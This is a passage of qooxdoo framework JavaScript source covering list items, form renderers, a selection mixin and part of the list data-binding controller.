Recursively adds all children to the given queue * * @param queue {Map} The queue to add widgets to */ addChildrenToQueue : function(queue) { // placeholder to improve compatibility with Widget. }, /** * Removes this widget from its parent and dispose it. * * Please note that the widget is not disposed synchronously. The * real dispose happens after the next queue flush. * * @return {void} */ destroy : function() { if (this.$$disposed) { return; } var parent = this.$$parent; if (parent) { parent._remove(this); } qx.ui.core.queue.Dispose.add(this); } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Andreas Ecker (ecker) ************************************************************************ */ /** * A item for a list. Could be added to all List like widgets but also * to the {@link qx.ui.form.SelectBox} and {@link qx.ui.form.ComboBox}. */ qx.Class.define("qx.ui.form.ListItem", { extend : qx.ui.basic.Atom, implement : [qx.ui.form.IModel], include : [qx.ui.form.MModelProperty], /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param label {String} Label to use * @param icon {String?null} Icon to use * @param model {String?null} The items value */ construct : function(label, icon, model) { this.base(arguments, label, icon); if (model != null) { this.setModel(model); } this.addListener("mouseover", this._onMouseOver, this); this.addListener("mouseout", this._onMouseOut, this); }, /* ***************************************************************************** EVENTS ***************************************************************************** */ events: { /** (Fired by {@link qx.ui.form.List}) */ "action" : "qx.event.type.Event" }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { appearance : { refine : true, init : "listitem" } }, members : { // overridden /** * @lint ignoreReferenceField(_forwardStates) */ _forwardStates : { focused : true, hovered : true, selected : true, dragover : true }, /** * Event handler for the mouse over event. */ _onMouseOver : function() { this.addState("hovered"); }, /** * Event handler for the mouse out event. */ _onMouseOut : function() { this.removeState("hovered"); } }, destruct : function() { this.removeListener("mouseover", this._onMouseOver, this); this.removeListener("mouseout", this._onMouseOut, this); } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * This interface defines the necessary features a form renderer should have. * Keep in mind that all renderes has to be widgets. */ qx.Interface.define("qx.ui.form.renderer.IFormRenderer", { members : { /** * Add a group of form items with the corresponding names. The names should * be displayed as hint for the user what to do with the form item. * The title is optional and can be used as grouping for the given form * items. * * @param items {qx.ui.core.Widget[]} An array of form items to render. * @param names {String[]} An array of names for the form items. * @param title {String?} A title of the group you are adding. * @param itemsOptions {Array?null} The added additional data. * @param headerOptions {Map?null} The options map as defined by the form * for the current group header. */ addItems : function(items, names, title, itemsOptions, headerOptions) {}, /** * Adds a button the form renderer. * * @param button {qx.ui.form.Button} A button which should be added to * the form. * @param options {Map?null} The added additional data. */ addButton : function(button, options) {} } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Abstract renderer for {@link qx.ui.form.Form}. This abstract rendere should * be the superclass of all form renderer. It takes the form, which is * supplied as constructor parameter and configures itself. So if you need to * set some additional information on your renderer before adding the widgets, * be sure to do that before calling this.base(arguments, form). */ qx.Class.define("qx.ui.form.renderer.AbstractRenderer", { type : "abstract", extend : qx.ui.core.Widget, implement : qx.ui.form.renderer.IFormRenderer, /** * @param form {qx.ui.form.Form} The form to render. */ construct : function(form) { this.base(arguments); this._visibilityBindingIds = []; this._labels = []; // translation support if (qx.core.Environment.get("qx.dynlocale")) { qx.locale.Manager.getInstance().addListener( "changeLocale", this._onChangeLocale, this ); this._names = []; } // add the groups var groups = form.getGroups(); for (var i = 0; i < groups.length; i++) { var group = groups[i]; this.addItems( group.items, group.labels, group.title, group.options, group.headerOptions ); } // add the buttons var buttons = form.getButtons(); var buttonOptions = form.getButtonOptions(); for (var i = 0; i < buttons.length; i++) { this.addButton(buttons[i], buttonOptions[i]); } }, members : { _names : null, _visibilityBindingIds : null, _labels : null, /** * Helper to bind the item's visibility to the label's visibility. * @param item {qx.ui.core.Widget} The form element. * @param label {qx.ui.basic.Label} The label for the form element. */ _connectVisibility : function(item, label) { // map the items visibility to the label var id = item.bind("visibility", label, "visibility"); this._visibilityBindingIds.push({id: id, item: item}); }, /** * Locale change event handler * * @signature function(e) * @param e {Event} the change event */ _onChangeLocale : qx.core.Environment.select("qx.dynlocale", { "true" : function(e) { for (var i = 0; i < this._names.length; i++) { var entry = this._names[i]; if (entry.name && entry.name.translate) { entry.name = entry.name.translate(); } var newText = this._createLabelText(entry.name, entry.item); entry.label.setValue(newText); }; }, "false" : null }), /** * Creates the label text for the given form item. * * @param name {String} The content of the label without the * trailing * and : * @param item {qx.ui.form.IForm} The item, which has the required state. * @return {String} The text for the given item. */ _createLabelText : function(name, item) { var required = ""; if (item.getRequired()) { required = " <span style='color:red'>*</span> "; } // Create the label. Append a colon only if there's text to display. var colon = name.length > 0 || item.getRequired() ? " :" : ""; return name + required + colon; }, // interface implementation addItems : function(items, names, title) { throw new Error("Abstract method call"); }, // interface implementation addButton : function(button) { throw new Error("Abstract method call"); } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { if (qx.core.Environment.get("qx.dynlocale")) { qx.locale.Manager.getInstance().removeListener("changeLocale", this._onChangeLocale, this); } this._names = null; // remove all created lables for (var i=0; i < this._labels.length; i++) { this._labels[i].dispose(); }; // remove the visibility bindings for (var i = 0; i < this._visibilityBindingIds.length; i++) { var entry = this._visibilityBindingIds[i]; entry.item.removeBinding(entry.id); }; } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Single column renderer for {@link qx.ui.form.Form}. */ qx.Class.define("qx.ui.form.renderer.Single", { extend : qx.ui.form.renderer.AbstractRenderer, construct : function(form) { var layout = new qx.ui.layout.Grid(); layout.setSpacing(6); layout.setColumnFlex(0, 1); layout.setColumnAlign(0, "right", "top"); this._setLayout(layout); this.base(arguments, form); }, members : { _row : 0, _buttonRow : null, /** * Add a group of form items with the corresponding names. The names are * displayed as label. * The title is optional and is used as grouping for the given form * items. * * @param items {qx.ui.core.Widget[]} An array of form items to render. * @param names {String[]} An array of names for the form items. * @param title {String?} A title of the group you are adding. */ addItems : function(items, names, title) { // add the header if (title != null) { this._add( this._createHeader(title), {row: this._row, column: 0, colSpan: 2} ); this._row++; } // add the items for (var i = 0; i < items.length; i++) { var label = this._createLabel(names[i], items[i]); this._add(label, {row: this._row, column: 0}); var item = items[i]; label.setBuddy(item); this._add(item, {row: this._row, column: 1}); this._row++; this._connectVisibility(item, label); // store the names for translation if (qx.core.Environment.get("qx.dynlocale")) { this._names.push({name: names[i], label: label, item: items[i]}); } } }, /** * Adds a button the form renderer. All buttons will be added in a * single row at the bottom of the form. * * @param button {qx.ui.form.Button} The button to add. */ addButton : function(button) { if (this._buttonRow == null) { // create button row this._buttonRow = new qx.ui.container.Composite(); this._buttonRow.setMarginTop(5); var hbox = new qx.ui.layout.HBox(); hbox.setAlignX("right"); hbox.setSpacing(5); this._buttonRow.setLayout(hbox); // add the button row this._add(this._buttonRow, {row: this._row, column: 0, colSpan: 2}); // increase the row this._row++; } // add the button this._buttonRow.add(button); }, /** * Returns the set layout for configuration. * * @return {qx.ui.layout.Grid} The grid layout of the widget. */ getLayout : function() { return this._getLayout(); }, /** * Creates a label for the given form item. * * @param name {String} The content of the label without the * trailing * and : * @param item {qx.ui.core.Widget} The item, which has the required state. * @return {qx.ui.basic.Label} The label for the given item. */ _createLabel : function(name, item) { var label = new qx.ui.basic.Label(this._createLabelText(name, item)); // store lables for disposal this._labels.push(label); label.setRich(true); label.setAppearance("form-renderer-label"); return label; }, /** * Creates a header label for the form groups. * * @param title {String} Creates a header label. * @return {qx.ui.basic.Label} The header for the form groups. */ _createHeader : function(title) { var header = new qx.ui.basic.Label(title); // store lables for disposal this._labels.push(header); header.setFont("bold"); if (this._row != 0) { header.setMarginTop(10); } header.setAlignX("left"); return header; } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { // first, remove all buttons from the button row because they // should not be disposed if (this._buttonRow) { this._buttonRow.removeAll(); this._disposeObjects("_buttonRow"); } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Mixin for the selection in the data binding controller. * It contains an selection property which can be manipulated. * Remember to call the method {@link #_addChangeTargetListener} on every * change of the target. * It is also important that the elements stored in the target e.g. ListItems * do have the corresponding model stored as user data under the "model" key. */ qx.Mixin.define("qx.data.controller.MSelection", { /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ construct : function() { // check for a target property if (!qx.Class.hasProperty(this.constructor, "target")) { throw new Error("Target property is needed."); } // create a default selection array if (this.getSelection() == null) { this.__ownSelection = new qx.data.Array(); this.setSelection(this.__ownSelection); } }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** * Data array containing the selected model objects. This property can be * manipulated directly which means that a push to the selection will also * select the corresponding element in the target. */ selection : { check: "qx.data.Array", event: "changeSelection", apply: "_applySelection", init: null } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { // private members // // set the semaphore-like variable for the selection change _modifingSelection : 0, __selectionListenerId : null, __selectionArrayListenerId : null, __ownSelection : null, /* --------------------------------------------------------------------------- APPLY METHODS --------------------------------------------------------------------------- */ /** * Apply-method for setting a new selection array. Only the change listener * will be removed from the old array and added to the new. * * @param value {qx.data.Array} The new data array for the selection. * @param old {qx.data.Array|null} The old data array for the selection. */ _applySelection: function(value, old) { // remove the old listener if necessary if (this.__selectionArrayListenerId != undefined && old != undefined) { old.removeListenerById(this.__selectionArrayListenerId); } // add a new change listener to the changeArray this.__selectionArrayListenerId = value.addListener( "change", this.__changeSelectionArray, this ); // apply the new selection this._updateSelection(); }, /* --------------------------------------------------------------------------- EVENT HANDLER --------------------------------------------------------------------------- */ /** * Event handler for the change of the data array holding the selection. * If a change is in the selection array, the selection update will be * invoked. */ __changeSelectionArray: function() { this._updateSelection(); }, /** * Event handler for a change in the target selection. * If the selection in the target has changed, the selected model objects * will be found and added to the selection array. */ _changeTargetSelection: function() { // dont do anything without a target if (this.getTarget() == null) { return; } // if a selection API is supported if (!this.__targetSupportsMultiSelection() && !this.__targetSupportsSingleSelection()) { return; } // if __changeSelectionArray is currently working, do nothing if (this._inSelectionModification()) { return; } // get both selections var targetSelection = this.getTarget().getSelection(); var selection = this.getSelection(); if (selection == null) { selection = new qx.data.Array(); this.__ownSelection = selection; this.setSelection(selection); } // go through the target selection var spliceArgs = [0, selection.getLength()]; for (var i = 0; i < targetSelection.length; i++) { spliceArgs.push(targetSelection[i].getModel()); } // use splice to ensure a correct change event [BUG #4728] selection.splice.apply(selection, spliceArgs).dispose(); // fire the change event manually this.fireDataEvent("changeSelection", this.getSelection()); }, /* --------------------------------------------------------------------------- SELECTION --------------------------------------------------------------------------- */ /** * Helper method which should be called by the classes including this * Mixin when the target changes. * * @param value {qx.ui.core.Widget|null} The new target. * @param old {qx.ui.core.Widget|null} The old target. */ _addChangeTargetListener: function(value, old) { // remove the old selection listener if (this.__selectionListenerId != undefined && old != undefined) { old.removeListenerById(this.__selectionListenerId); } if (value != null) { // if a selection API is supported if ( this.__targetSupportsMultiSelection() || this.__targetSupportsSingleSelection() ) { // add a new selection listener this.__selectionListenerId = value.addListener( "changeSelection", this._changeTargetSelection, this ); } } }, /** * Method for updating the selection. It checks for the case of single or * multi selection and after that checks if the selection in the selection * array is the same as in the target widget. */ _updateSelection: function() { // do not update if no target is given if (!this.getTarget()) { return; } // mark the change process in a flag this._startSelectionModification(); // if its a multi selection target if (this.__targetSupportsMultiSelection()) { var targetSelection = []; // go through the selection array for (var i = 0; i < this.getSelection().length; i++) { // store each item var model = this.getSelection().getItem(i); var selectable = this.__getSelectableForModel(model); if (selectable != null) { targetSelection.push(selectable); } } this.getTarget().setSelection(targetSelection); // get the selection of the target targetSelection = this.getTarget().getSelection(); // get all items selected in the list var targetSelectionItems = []; for (var i = 0; i < targetSelection.length; i++) { targetSelectionItems[i] = targetSelection[i].getModel(); } // go through the controller selection for (var i = this.getSelection().length - 1; i >= 0; i--) { // if the item in the controller selection is not selected in the list if (!qx.lang.Array.contains( targetSelectionItems, this.getSelection().getItem(i) )) { // remove the current element and get rid of the return array this.getSelection().splice(i, 1).dispose(); } } // if its a single selection target } else if (this.__targetSupportsSingleSelection()) { // get the model which should be selected var item = this.getSelection().getItem(this.getSelection().length - 1); if (item !== undefined) { // select the last selected item (old selection will be removed anyway) this.__selectItem(item); // remove the other items from the selection data array and get // rid of the return array this.getSelection().splice( 0, this.getSelection().getLength() - 1 ).dispose(); } else { // if there is no item to select (e.g. new model set [BUG #4125]), // reset the selection this.getTarget().resetSelection(); } } // reset the changing flag this._endSelectionModification(); }, /** * Helper-method returning true, if the target supports multi selection. * @return {boolean} true, if the target supports multi selection. */ __targetSupportsMultiSelection: function() { var targetClass = this.getTarget().constructor; return qx.Class.implementsInterface(targetClass, qx.ui.core.IMultiSelection); }, /** * Helper-method returning true, if the target supports single selection. * @return {boolean} true, if the target supports single selection. */ __targetSupportsSingleSelection: function() { var targetClass = this.getTarget().constructor; return qx.Class.implementsInterface(targetClass, qx.ui.core.ISingleSelection); }, /** * Internal helper for selecting an item in the target. The item to select * is defined by a given model item. * * @param item {qx.core.Object} A model element. */ __selectItem: function(item) { var selectable = this.__getSelectableForModel(item); // if no selectable could be found, just return if (selectable == null) { return; } // if the target is multi selection able if (this.__targetSupportsMultiSelection()) { // select the item in the target this.getTarget().addToSelection(selectable); // if the target is single selection able } else if (this.__targetSupportsSingleSelection()) { this.getTarget().setSelection([selectable]); } }, /** * Returns the list item storing the given model in its model property. * * @param model {var} The representing model of a selectable. */ __getSelectableForModel : function(model) { // get all list items var children = this.getTarget().getSelectables(true); // go through all children and search for the child to select for (var i = 0; i < children.length; i++) { if (children[i].getModel() == model) { return children[i]; } } // if no selectable was found return null; }, /** * Helper-Method signaling that currently the selection of the target is * in change. That will block the change of the internal selection. * {@link #_endSelectionModification} */ _startSelectionModification: function() { this._modifingSelection++; }, /** * Helper-Method signaling that the internal changing of the targets * selection is over. * {@link #_startSelectionModification} */ _endSelectionModification: function() { this._modifingSelection > 0 ? this._modifingSelection-- : null; }, /** * Helper-Method for checking the state of the selection modification. * {@link #_startSelectionModification} * {@link #_endSelectionModification} */ _inSelectionModification: function() { return this._modifingSelection > 0; } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { if (this.__ownSelection) { this.__ownSelection.dispose(); } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * <h2>List Controller</h2> * * *General idea* * The list controller is responsible for synchronizing every list like widget * with a data array. It does not matter if the array contains atomic values * like strings of complete objects where one property holds the value for * the label and another property holds the icon url. You can even use converts * the make the label show a text corresponding to the icon by binding both, * label and icon to the same model property and converting one. * * *Features* * * * Synchronize the model and the target * * Label and icon are bindable * * Takes care of the selection * * Passes on the options used by the bindings * * *Usage* * * As model, only {@link qx.data.Array}s do work. The currently supported * targets are * * * {@link qx.ui.form.SelectBox} * * {@link qx.ui.form.List} * * {@link qx.ui.form.ComboBox} * * All the properties like model, target or any property path is bindable. * Especially the model is nice to bind to another selection for example. * The controller itself can only work if it has a model and a target set. The * rest of the properties may be empty. * * *Cross reference* * * * If you want to bind single values, use {@link qx.data.controller.Object} * * If you want to bind a tree widget, use {@link qx.data.controller.Tree} * * If you want to bind a form widget, use {@link qx.data.controller.Form} */ qx.Class.define("qx.data.controller.List", { extend : qx.core.Object, include: qx.data.controller.MSelection, implement : qx.data.controller.ISelection, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param model {qx.data.Array?null} The array containing the data. * * @param target {qx.ui.core.Widget?null} The widget which should show the * ListItems. * * @param labelPath {String?null} If the model contains objects, the labelPath * is the path reference to the property in these objects which should be * shown as label. */ construct : function(model, target, labelPath) { this.base(arguments); // lookup table for filtering and sorting this.__lookupTable = []; // register for bound target properties and onUpdate methods // from the binding options this.__boundProperties = []; this.__boundPropertiesReverse = []; this.__onUpdate = {}; if (labelPath != null) { this.setLabelPath(labelPath); } if (model != null) { this.setModel(model); } if (target != null) { this.setTarget(target); } }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** Data array containing the data which should be shown in the list. */ model : { check: "qx.data.IListData", apply: "_applyModel", event: "changeModel", nullable: true, dereference: true }, /** The target widget which should show the data. */ target : { apply: "_applyTarget", event: "changeTarget", nullable: true, init: null, dereference: true }, /** * The path to the property which holds the information that should be * shown as a label. This is only needed if objects are stored in the model. */ labelPath : { check: "String", apply: "_applyLabelPath", nullable: true }, /** * The path to the property which holds the information that should be * shown as an icon. This is only needed if objects are stored in the model * and if the icon should be shown. */ iconPath : { check: "String", apply: "_applyIconPath", nullable: true }, /** * A map containing the options for the label binding. The possible keys * can be found in the {@link qx.data.SingleValueBinding} documentation. */ labelOptions : { apply: "_applyLabelOptions", nullable: true }, /** * A map containing the options for the icon binding. The possible keys * can be found in the {@link qx.data.SingleValueBinding} documentation. */ iconOptions : { apply: "_applyIconOptions", nullable: true }, /** * Delegation object, which can have one or more functions defined by the * {@link IControllerDelegate} interface. */ delegate : { apply: "_applyDelegate", event: "changeDelegate", init: null, nullable: true } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { // private members __changeModelListenerId : null, __lookupTable : null, __onUpdate : null, __boundProperties : null, __boundPropertiesReverse : null, __syncTargetSelection : null, __syncModelSelection : null, /* --------------------------------------------------------------------------- PUBLIC API --------------------------------------------------------------------------- */ /** * Updates the filter and the target. This could be used if the filter * uses an additional parameter which changes the filter result. */ update: function() { this.__changeModelLength(); this.__renewBindings(); this._updateSelection(); }, /* --------------------------------------------------------------------------- APPLY METHODS --------------------------------------------------------------------------- */ /** * If a new delegate is set, it applies the stored configuration for the * list items to the already created list items once. * * @param value {qx.core.Object|null} The new delegate. * @param old {qx.core.Object|null} The old delegate. */ _applyDelegate: function(value, old) { this._setConfigureItem(value, old); this._setFilter(value, old); this._setCreateItem(value, old); this._setBindItem(value, old); }, /** * Apply-method which will be called if the icon options has been changed. * It invokes a renewing of all set bindings. * * @param value {Map|null} The new icon options. * @param old {Map|null} The old icon options. */ _applyIconOptions: function(value, old) { this.__renewBindings(); }, /** * Apply-method which will be called if the label options has been changed. * It invokes a renewing of all set bindings. * * @param value {Map|null} The new label options. * @param old {Map|null} The old label options. */ _applyLabelOptions: function(value, old) { this.__renewBindings(); }, /** * Apply-method which will be called if the icon path has been changed. * It invokes a renewing of all set bindings. * * @param value {String|null} The new icon path. * @param old {String|null} The old icon path. */ _applyIconPath: function(value, old) { this.__renewBindings(); }, /** * Apply-method which will be called if the label path has been changed. * It invokes a renewing of all set bindings. * * @param value {String|null} The new label path. * @param old {String|null} The old label path. */ _applyLabelPath: function(value, old) { this.__renewBindings(); }, /** * Apply-method which will be called if the model has been changed. It * removes all the listeners from the old model and adds the needed * listeners to the new model. It also invokes the initial filling of the * target widgets if there is a target set. * * @param value {qx.data.Array|null} The new model array. * @param old {qx.data.Array|null} The old model array. */ _applyModel: function(value, old) { // remove the old listener if (old != undefined) { if (this.__changeModelListenerId != undefined) { old.removeListenerById(this.__changeModelListenerId); } } // erase the selection if there is something selected if (this.getSelection() != undefined && this.getSelection().length > 0) { this.getSelection().splice(0, this.getSelection().length).dispose(); } // if a model is set if (value != null) { // add a new listener this.__changeModelListenerId = value.addListener("change", this.__changeModel, this); // renew the index lookup table this.__buildUpLookupTable(); // check for the new length this.__changeModelLength(); // as we only change the labels of the items, the selection change event // may be missing so we invoke it here if (old == null) { this._changeTargetSelection(); } else { // update the selection asynchronously this.__syncTargetSelection = true; qx.ui.core.queue.Widget.add(this); } } else { var target = this.getTarget(); // if the model is set to null, we should remove all items in the target if (target != null) { // we need to remove the bindings too so use the controller method // for removing items var length = target.getChildren().length; for (var i = 0; i < length; i++) { this.__removeItem(); }; } } }, /** * Apply-method which will be called if the target has been changed. * When the target changes, every binding needs to be reset and the old * target needs to be cleaned up. If there is a model, the target will be * filled with the data of the model. * * @param value {qx.ui.core.Widget|null} The new target. * @param old {qx.ui.core.Widget|null} The old target. */ _applyTarget: function(value, old) { // add a listener for the target change this._addChangeTargetListener(value, old); // if there was an old target if (old != undefined) { // remove all element of the old target var removed = old.removeAll(); for (var i=0; i<removed.length; i++) { removed[i].destroy(); } // remove all bindings this.removeAllBindings(); } if (value != null) { if (this.getModel() != null) { // add a binding for all elements in the model for (var i = 0; i < this.__lookupTable.length; i++) { this.__addItem(this.__lookup(i)); } } } }, /* --------------------------------------------------------------------------- EVENT HANDLER --------------------------------------------------------------------------- */ /** * Event handler for the change event of the model. If the model changes, * Only the selection needs to be changed. The change of the data will * be done by the binding. */ __changeModel: function() { // need an asynchronous selection update because the bindings have to be // executed to update the selection probably (using the widget queue) // this.__syncTargetSelection = true; this.__syncModelSelection = true; qx.ui.core.queue.Widget.add(this); // update on filtered lists... (bindings need to be renewed) if (this.__lookupTable.length != this.getModel().getLength()) { this.update(); } }, /** * Internal method used to sync the selection. The controller uses the * widget queue to schedule the selection update. An asynchronous handling of * the selection is needed because the bindings (event listeners for the * binding) need to be executed before the selection is updated. * @internal */ syncWidget : function() { if (this.__syncTargetSelection) { this._changeTargetSelection(); } if (this.__syncModelSelection) { this._updateSelection(); } this.__syncModelSelection = this.__syncTargetSelection = null; }, /** * Event handler for the changeLength of the model. If the length changes * of the model, either ListItems need to be removed or added to the target. */ __changeModelLength: function() { // only do something if there is a target if (this.getTarget() == null) { return; } // build up the look up table this.__buildUpLookupTable(); // get the length var newLength = this.__lookupTable.length; var currentLength = this.getTarget().getChildren().length; // if there are more item if (newLength > currentLength) { // add the new elements for (var j = currentLength; j < newLength; j++) { this.__addItem(this.__lookup(j)); } // if there are less elements } else if (newLength < currentLength) { // remove the unnecessary items for (var j = currentLength; j > newLength; j--) { this.__removeItem(); } } // sync the target selection in case someone deleted a item in // selection mode "one" [BUG #4839] this.__syncTargetSelection = true; qx.ui.core.queue.Widget.add(this); }, /** * Helper method which removes and adds the change listener of the * controller to the model. This is sometimes necessary to ensure that the * listener of the controller is executed as the last listener of the chain. */ __moveChangeListenerAtTheEnd : function() { var model = this.getModel(); // it can be that the bindings has been reset without the model so // maybe there is no model in some scenarios if (model != null) { model.removeListenerById(this.__changeModelListenerId); this.__changeModelListenerId = model.addListener("change", this.__changeModel, this); } }, /* --------------------------------------------------------------------------- ITEM HANDLING --------------------------------------------------------------------------- */ /** * Creates a ListItem and delegates the configure method if a delegate is * set and the needed function (configureItem) is available. * * @return {qx.ui.form.ListItem} The created and configured ListItem. */ _createItem: function() { var delegate = this.getDelegate(); // check if a delegate and a create method is set if (delegate != null && delegate.createItem != null) { var item = delegate.createItem(); } else { var item = new qx.ui.form.ListItem(); } // if there is a configure method, invoke it if (delegate != null && delegate.configureItem != null) { delegate.configureItem(item); } return item; }, /** * Internal helper to add ListItems to the target including the creation * of the binding. * * @param index {Number} The index of the item to add. */ __addItem: function(index) { // create a new ListItem var listItem = this._createItem(); // set up the binding this._bindListItem(listItem, index); // add the ListItem to the target this.getTarget().add(listItem); }, /** * Internal helper to remove ListItems from the target. Also the binding * will be removed properly. */ __removeItem: function() { this._startSelectionModification(); var children = this.getTarget().getChildren(); // get the last binding id var index = children.length - 1; // get the item var oldItem = children[index]; this._removeBindingsFrom(oldItem); // remove the item this.getTarget().removeAt(index); oldItem.destroy(); this._endSelectionModification(); }, /** * Returns all models currently visible by the list. This method is only * useful if you use the filter via the {@link #delegate}. * * @return {qx.data.Array} A new data array container all the models * which representation items are currently visible. */ getVisibleModels : function() { var visibleModels = []; var target = this.getTarget(); if (target != null) { var items = target.getChildren(); for (var i = 0; i < items.length; i++) { visibleModels.push(items[i].getModel()); }; } return new qx.data.Array(visibleModels); }, /* --------------------------------------------------------------------------- BINDING STUFF --------------------------------------------------------------------------- */ /** * Sets up the binding for the given ListItem and index. * * @param item {qx.ui.form.ListItem} The internally created and used * ListItem. * @param index {Number} The index of the ListItem. */ _bindListItem: function(item, index) { var delegate = this.getDelegate(); // if a delegate for creating the binding is given, use it if (delegate != null && delegate.bindItem != null) { delegate.bindItem(this, item, index); // otherwise, try to bind the listItem by default } else { this.bindDefaultProperties(item, index); } }, /** * Helper-Method for binding the default properties (label, icon and model) * from the model to the target widget. * * This method should only be called in the * {@link qx.data.controller.IControllerDelegate#bindItem} function * implemented by the {@link #delegate} property. * * @param item {qx.ui.form.ListItem} The internally created and used * ListItem. * @param index {Number} The index of the ListItem. */ bindDefaultProperties : function(item, index) { // model this.bindProperty( "", "model", null, item, index ); // label this.bindProperty( this.getLabelPath(), "label", this.getLabelOptions(), item, index ); // if the iconPath is set if (this.getIconPath() != null) { this.bindProperty( this.getIconPath(), "icon", this.getIconOptions(), item, index ); } }, /** * Helper-Method for binding a given property from the model to the target * widget. * This method should only be called in the * {@link qx.data.controller.IControllerDelegate#bindItem} function * implemented by the {@link #delegate} property. * * @param sourcePath {String | null} The path to the property in the model. * If you use an empty string, the whole model item will be bound. * @param targetProperty {String} The name of the property in the target * widget. * @param options {Map | null} The options to use for the binding. * @param targetWidget {qx.ui.core.Widget} The target widget. * @param index {Number} The index of the current binding. */ bindProperty: function(sourcePath, targetProperty, options, targetWidget, index) { // create the options for the binding containing the old options // including the old onUpdate function if (options != null) { var options = qx.lang.Object.clone(options); this.__onUpdate[targetProperty] = options.onUpdate; delete options.onUpdate; } else { options = {}; this.__onUpdate[targetProperty] = null; } options.onUpdate = qx.lang.Function.bind(this._onBindingSet, this, index); // build up the path for the binding var bindPath = "model[" + index + "]"; if (sourcePath != null && sourcePath != "") { bindPath += "." + sourcePath; } // create the binding var id = this.bind(bindPath, targetWidget, targetProperty, options); targetWidget.setUserData(targetProperty + "BindingId", id); // save the bound property if (!qx.lang.Array.contains(this.__boundProperties, targetProperty)) { this.__boundProperties.push(targetProperty); } }, /** * Helper-Method for binding a given property from the target widget to * the model. * This method should only be called in the * {@link qx.data.controller.IControllerDelegate#bindItem} function * implemented by the {@link #delegate} property. * * @param targetPath {String | null} The path to the property in the model. * @param sourcePath {String} The name of the property in the target. * @param options {Map | null} The options to use for the binding. * @param sourceWidget {qx.ui.core.Widget} The source widget. * @param index {Number} The index of the current binding. */ bindPropertyReverse: function( targetPath, sourcePath, options, sourceWidget, index ) { // build up the path for the binding var targetBindPath = "model[" + index + "]"; if (targetPath != null && targetPath != "") { targetBindPath += "." + targetPath; } // create the binding var id = sourceWidget.bind(sourcePath, this, targetBindPath, options); sourceWidget.setUserData(targetPath + "ReverseBindingId", id); // save the bound property if (!qx.lang.Array.contains(this.__boundPropertiesReverse, targetPath)) { this.__boundPropertiesReverse.push(targetPath); } }, /** * Method which will be called on the invoke of every binding. It takes * care of the selection on the change of the binding. * * @param index {Number} The index of the current binding. * @param sourceObject {qx.core.Object} The source object of the binding. * @param targetObject {qx.core.Object} The target object of the binding. */ _onBindingSet: function(index, sourceObject, targetObject) { // ignore the binding set if the model is already set to null if (this.getModel() == null || this._inSelectionModification()) { return; } // go through all bound target properties for (var i = 0; i < this.__boundProperties.length; i++) { // if there is an onUpdate for one of it, invoke it if (this.__onUpdate[this.__boundProperties[i]] != null) { this.__onUpdate[this.__boundProperties[i]](); } } }, /** * Internal helper method to remove the binding of the given item. * * @param item {Number} The item of which the binding which should * be removed. */ _removeBindingsFrom: function(item) { // go through all bound target properties for (var i = 0; i < this.__boundProperties.length; i++) { // get the binding id and remove it, if possible var id = item.getUserData(this.__boundProperties[i] + "BindingId"); if (id != null) { this.removeBinding(id); } } // go through all reverse bound properties for (var i = 0; i < this.__boundPropertiesReverse.length; i++) { // get the binding id and remove it, if possible var id = item.getUserData( this.__boundPropertiesReverse[i] + "ReverseBindingId" ); if (id != null) { item.removeBinding(id); } }; }, /** * Internal helper method to renew all set bindings. */ __renewBindings: function() { // ignore, if no target is set (startup) if (this.getTarget() == null || this.getModel() == null) { return; } // get all children of the target var items = this.getTarget().getChildren(); // go through all items for (var i = 0; i < items.length; i++) { this._removeBindingsFrom(items[i]); // add the new binding this._bindListItem(items[i], this.__lookup(i)); } // move the controllers change handler for the model to the end of the // listeners queue this.__moveChangeListenerAtTheEnd(); }, /* --------------------------------------------------------------------------- DELEGATE HELPER --------------------------------------------------------------------------- */ /** * Helper method for applying the delegate It checks if a configureItem * is set end invokes the initial process to apply the given function. * * @param value {Object} The new delegate. * @param old {Object} 